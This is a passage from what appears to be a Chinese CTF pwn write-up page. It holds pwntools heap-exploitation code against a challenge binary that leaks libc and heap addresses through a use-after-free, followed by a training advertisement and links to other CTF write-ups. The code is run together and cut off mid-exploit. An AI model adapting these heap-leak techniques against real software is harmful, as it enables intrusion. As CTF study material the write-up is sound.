*$rebase(0x3ABD)\nc")while True: io = process(['./pwn'], env=env) io.recvuntil(b'select: ') io.sendline(b'1') io.recvuntil(b'characters): ') io.sendline(b'Mim') io.recvuntil(b'select: ') io.sendline(b'2') io.recvuntil(b"********************************\n") filename=io.recvuntil(b"Failed")[:-6].decode() os.system(f"echo {filename} >> log.txt") io.close()io.recvuntil(b'select: ')io.sendline(b'1')io.recvuntil(b'characters): ')io.sendline(b'Mim')io.recvuntil(b'select: ')io.sendline(b'2')add(0x500)#0add(0x500)#1add(0x600)#2add(0x500)#3bug()free(0)free(2)add(0x500)show(0)io.recvuntil(b'Content: ')base=u64(io.recv(6)+b'\x00\x00')-0x21ace0print(hex(base))free(0)add(0x500)#0add(0x600)#2edit(2,0x10,b'a'*0x10)show(2)io.recvuntil(b'a'*0x10)heap=u64(io.recv(6)+b'\x00\x00')-0xd30print(hex(heap))free(0)free(1)free(2)free(3)io.recvuntil(b'select: ')io.sendline(b'1')io.recvuntil(b'characters): ')io.sendline(b'Mim')io.recvuntil(b'select: ')io.sendline(b'2')add(0x500)#0add(0x500)#1add(0x600)#2add(0x500)#3bug()free(0)free(2)[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
赞赏
- [原创] 2025 强网杯和强网拟态部分题解 2564
- [原创]港湾杯决赛--babyshark 3146
- [原创]2025 磐石行动-线下AWD-PWN 3322
- [原创]Nepctf2025 pwn部分wp 4072
- [原创]L3CTF-2025:heack 3004